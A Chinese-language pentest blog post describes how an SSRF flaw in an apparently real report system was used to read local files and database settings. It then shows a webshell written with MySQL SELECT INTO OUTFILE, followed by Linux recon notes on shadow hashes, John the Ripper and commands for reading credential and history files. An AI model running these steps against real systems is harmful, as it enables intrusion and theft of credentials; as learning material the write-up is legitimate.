报表系统漏洞挖掘+Linux下相关信息探测
【本文只限于学习,请勿进行恶意攻击】
之前挖了一个报表系统的SSRF漏洞,没有限制相关的协议,先探测了一下Redis发现没开,然后用file协议读取了相关的文件,如/etc/passwd,/.bash_history等,在bash_history中,有很多记录,通过file对记录中路径的文件名进行内容查询可以得到一些相关信息
(1)vi /opt/php5.6/etc/php.ini
PHP版本5.6
(2)/opt/apache2.4/conf/httpd.conf
Listen 80
Listen 443
Listen 8090
Listen 8091
Listen 9096
<VirtualHost _default_:443>
ServerName xmgl
ErrorLog logs/https_error
CustomLog logs/https_access common
SSLEngine on
#SSLMutex default
SSLCertificateFile /opt/apache/conf/server.crt
SSLCertificateKeyFile /opt/apache/conf/server.key
SSLCertificateChainFile /opt/apache/conf/server-ca.crt
#SSLCACertificateFile /opt/apache2/conf/ca.crt
#SSLVerifyClient require
#SSLVerifyDepth 1
#DocumentRoot /opt/apache/conf
DocumentRoot /opt/webdata/www =>得到网站根目录
</VirtualHost>
(3)/opt/webdata/www/.../access_token.php 为防止恶意用途对Token进行一定省略
<?php exit();?>{"expire_time":1590728461,"access_token":"33_KdzEiKFqb8uDaByhAKuXFtv..."}
(4)/opt/webdata/www/data/config/uc_config.php
/opt/webdata/www/data/config/db.php
define('UC_CONNECT', 'mysql');
define('UC_DBHOST', '127.0.0.1');
define('UC_DBUSER', 'XXX');
define('UC_DBPW', 'XXXXXX');
define('UC_DBNAME', 'XXXX_2');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE');
define('UC_DBCONNECT', '0');
define('UC_KEY');
define('UC_API');
define('UC_CHARSET', 'utf-8');
define('UC_IP', '');
define('UC_APPID', '4');
define('UC_PPP', '20');
define('COOKIE_DOMIAN'');
既然有数据库配置信息http://XXX.com?url=http://127.0.0.1:3306
,得到了回显
N
5.5.36-log 韉L�v=l)&"vO ?� �€� g;,kXX1)yI>; mysql_native_password ! �?#08S01Got packets out of order
既得到了数据库版本也证明了3306可以访问。
根据文件中得到的Ip地址、用户名、密码,通过3306端口,本地Navicat可以直接连接上数据库。然后通过Mysql上传木马
SELECT '<?php phpinfo(); ?>' into outfile '/opt/webdata/www/.../back.php';
这个上传路径要选择一个前台可访问的路径。这样访问木马即可看到phpinfo的相关信息,phpinfo中的相关信息有很多内容,例如PHP版本、内核版本、配置文件信息、支持的PHP流过滤器、Core中显示的是否能进行文件包含、是否有错误提示(display_errors)、能否动态加载(enable_dl)、文件包含时的默认路径(include_path)、文件读取时的目录限制(open_basedir)、是否支持短标签(在写shell时有帮助)等。
服务器上同时部署了PHP项目和Java项目,现在PHP可以搞定,但是PHP的木马没有Java权限搞。找到Java中可访问的目录同样用数据库的方式写入木马,访问即可getshell。一些渗透最基础的知识罗列在下面。慢慢补充。
1. Linux密码基础知识
Linux密码信息保存在两个文件中,分别为:/etc/passwd
和/etc/shadow
,前者可以使用普通用户权限进行查看,后者只有root用户权限才能查看,保存加密后的密码和用户的相关密码信息
(1)/etc/passwd
:每一行代表一个用户,每一行通过冒号分为七个部分
1 用户名:2 密码:3 UID(0代表root):4 GID:5 描述信息:6 用户主目录:7 默认shell类型
root:x:0:0:root:/root:/bin/bash
ps:密码如果是x意味着保存在/etc/shadow
(2)/etc/shadow
,每一行代表一个用户,每一行通过冒号分为九个部分
1 用户名:2 加密后的密码:3 上次修改密码的时间:4 两次修改密码间隔的最少天数(为0,则没有限制):
5 两次修改密码间隔最多的天数(表示该用户的密码会在多少天后过期,如果为99999则没有限制):
6 提前多少天警告用户密码将过期:7 在密码过期之后多少天禁用此用户:
8 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用:9 保留
root:$6$idQ/7/ks6M$BH82/f3xFiWTg6iIdXR68VGh1kA8GPKNG8u8eQW8hdwkhuGC.SLIslNiJ9Spk.6dGxhgA0wBYjII.kKEJXO7..:18075:0:99999:7:::
需要注意的是这里的3修改密码的时间是从1970.1.1开始的总天数,可以看到示例密码从1970.1.1开始的总天数为18075,密码间隔没有限制(0),最多天数没有限制,提前7天警告用户密码将过期,该用户可永久使用(保留)。
另外2密码是加密过的,其加密格式为$ ID $ SALT $ ENCRYPTED
,SALT
为随机字符串(最长不超16),ENCRYPTED
是密码的Hash值。ID
值有如下几种:
ID=1:MD5(hash长度22)
ID=5:SHA-256(hash长度43)
ID=6:SHA-512(hash长度86)
ID=2:blowfish 加密算法
以MD5为例,其密码生成过程模仿如下,假设密码为hello123,再生成随机数randomSalt(假设为8位),最后生成hash值。
import random
import string
import crypt
Passwd= ' hello123 '
randomSalt = '' .join(random.sample(string.ascii_letters, 8 ))
#产生SHA-512密码hash
Hash = crypt.crypt(Passwd, ' $6$%s$ ' % randomSalt)
print (Hash) #$1$ympviwQO$ypOVhoNbR/5uXgtk9NZVA/
John the ripper1.8.0版本,服务上跑破解一波,没跑出SHA-512的root密码
2. Linux目录文件
Linux根目录主要包括如下
/boot:操作系统启动时要用到的程序。
/dev:包含了所有 Linux 系统中使用的外部设备。需要注意的是这里并不是存放外部设备的驱动程序,而是一个访问这些设备的端口。
/etc:存放系统管理时要用到的各种配置文件和子目录。
/etc/rc.d:存放 Linux 启动和关闭时要用到的脚本。
/home:普通用户的主目录。
/lib、/lib64:链接到 /usr/lib,存放系统及软件需要的动态链接共享库。
/mnt:这个目录让用户可以临时挂载其他的文件系统。
/proc:虚拟的目录,是系统内存的映射。可直接访问这个目录来获取系统信息。
/root:系统管理员的主目录。
/srv:存放一些服务启动之后需要提取的数据。
/sys:该目录下安装了一个文件系统 sysfs。该文件系统是内核设备树的一个直观反映。当一个内核对象被创建时,对应的文件和目录也在内核对象子系统中被创建。
/tmp:公用的临时文件存放目录。
/usr:应用程序和文件几乎都在这个目录下。
/usr/src:内核源代码的存放目录。
/var:存放了很多服务的日志信息。
2.1 /etc/passwd
那么从Linux文件的角度再来看一下上文所述的/etc/passwd
,每行代表了一个用户,但其中大多数都是系统或服务运行所需的伪用户,不能用于登录系统也不能被删除,否则会导致系统问题。
1 用户名:2 密码:3 UID(0代表root):4 GID:5 描述信息:6 用户主目录:7 默认shell类型
root:x:0:0:root:/root:/bin/bash
密码X
:/etc/passwd文件对所有用户都可读代表着不安全,许多Linux系统都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”。
用户标识号UID
:一个整数,用来标识用户。一般情况下它与用户名是一一对应的。如果几个用户名对应的用户标识号是一样的,系统内部将把它们视为同一个用户,但是它们可以有不同的口令、不同的主目录以及不同的登录Shell等。UID取值范围是0-65535。0是超级用户root的标识号,1-99由系统保留,作为管理账号,普通用户的标识号从100开始。在Linux系统中,这个界限是500。组标识号GID
:字段记录的是用户所属的用户组。它对应着/etc/group文件中的一条记录。
登录Shell
:用户登录后,要启动一个进程,负责将用户的操作传给内核,这个进程是用户登录到系统后运行的命令解释器或某个特定的程序,即Shell。Shell是用户与Linux系统之间的接口。Linux的Shell有许多种,每种都有不同的特点。常用的有sh、csh、ksh、tcsh、bash等。可指定Shell,如果不指定则默认为sh,所以这个字段的值为/bin/sh。
2.2 其他文件
(1)/etc/host
,主机名和IP配置文件
hosts文件是Linux系统中一个负责IP地址与域名快速解析的文件,以ASCII格式保存在“/etc”目录下,Debian中该文件命名为/etc/hostname,系统上所有的网络程序都可以通过该文件来解析对于某个主机名的IP地址,否则需要用DNS来解决。通常可以将常用的域名和IP地址映射加入到hosts文件中,实现快速方便的访问。
一般情况下hosts文件的每行为一个主机,每行由空格分隔成三部分,#号开头的行为注解行。其格式如IP地址 主机名/域名 主机名别名
(2)Apache服务相关文件【待检验】
Apache服务安装方式可分为RPM包安装和源代码安装两种,采用RPM包安装,默认情况下/usr用来存放应用程序,/etc/httpd/conf/httpd.conf
存放配置文件。采用源代码安装默认在/usr/local/apache
,其配置文件在 /usr/local/apache/conf/httpd.conf
/etc/httpd/:Apache服务器的根目录
/etc/httpd/conf/httpd.conf:Apache服务器的主配置文件,其中包含指定文档root的配置
/var/www/html/:Apache服务器的文档根目录 即网站的常用的默认根目录
/etc/init.d/httpd:Apache服务器启动脚本文件
/var/log/httpd/access_log:Apache服务器的访问日志文件
/var/log/httpd/error_log:Apache服务器的错误日志文件
(3)PHP
一般Apache安装php后,php配置文件默认加载位置在php/lib/文件夹下,采用RPM包安装可能在/etc/目录下,配置文件/etc/php.ini。如果是用源代码安装,一般在 /usr/local/lib
目录下,配置文件 /usr/local/lib/php.ini
或 /usr/local/php/lib/php.ini
或 /usr/local/php/etc/php.ini
或 /usr/local/apache2/conf/php.ini
等
Linux下常用命令
pwd:查询当前目录
‘~’:home目录
'.':当前目录 '..':上层目录 '/':根目录
ls -a:查看所有 ls -l 文件夹/:查看文件夹里面的文件或目录
touch .test:创建一个名为.test的文件
mkdir:创建目录
more test:查看更多 tail test:查看末尾 head test:查看头几行
tree 文件夹名:查看文件夹的树结构
find / -name 'yum.log':从根(/)目录开始找yum.log的文件,也可'*.log'通配,路径可以根据实际情况写如 find /var/ -name 'index.php'
find / -size +10M | xargs ls -lh 找出大于10M的文件并查看结果的详细信息
which ps 或type ps 可找到ps位置
history:查看用过的命令
查看系统版本
cat /etc/*-release
cat /etc/redhat-release
查看内核版本
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
查看环境变量
env
set
查看运行服务(如果要看root权限下的,就在后面加入| grep root)
ps aux
ps -ef
安装的应用与版本
ls -alh /usr/bin/
rpm -qa
信息与用户
id、who、w、last
敏感文件
cat /etc/passwd
cat /etc/group
cat /etc/shadow
用户操作记录
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.php_history
phpstudy套件
网站默认路径
C:\phpstudy\www
httpd.conf配置文件
C:\phpStudy\Apache\conf\httpd.conf
vhosts.conf虚拟主机
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf
LAMPP套件
网站默认路径
/opt/lampp/htdocs
httpd.conf配置文件
/opt/lampp/etc/httpd.conf
vhosts.conf虚拟主机
/opt/lampp/etc/extra/httpd-vhosts.conf
XAMPP
/opt/lampp/bin/ XAMPP 命令库。例如 /opt/lampp/bin/mysql 可执行 MySQL 监视器。
/opt/lampp/htdocs/ Apache 文档根目录。
/opt/lampp/etc/httpd.conf Apache 配制文件。
/opt/lampp/etc/my.cnf MySQL 配制文件。
/opt/lampp/etc/php.ini PHP 配制文件。
/opt/lampp/etc/proftpd.conf ProFTPD 配制文件。(从 0.9.5 版开始)
/opt/lampp/phpmyadmin/config.inc.php
phpMyAdmin 配制文件。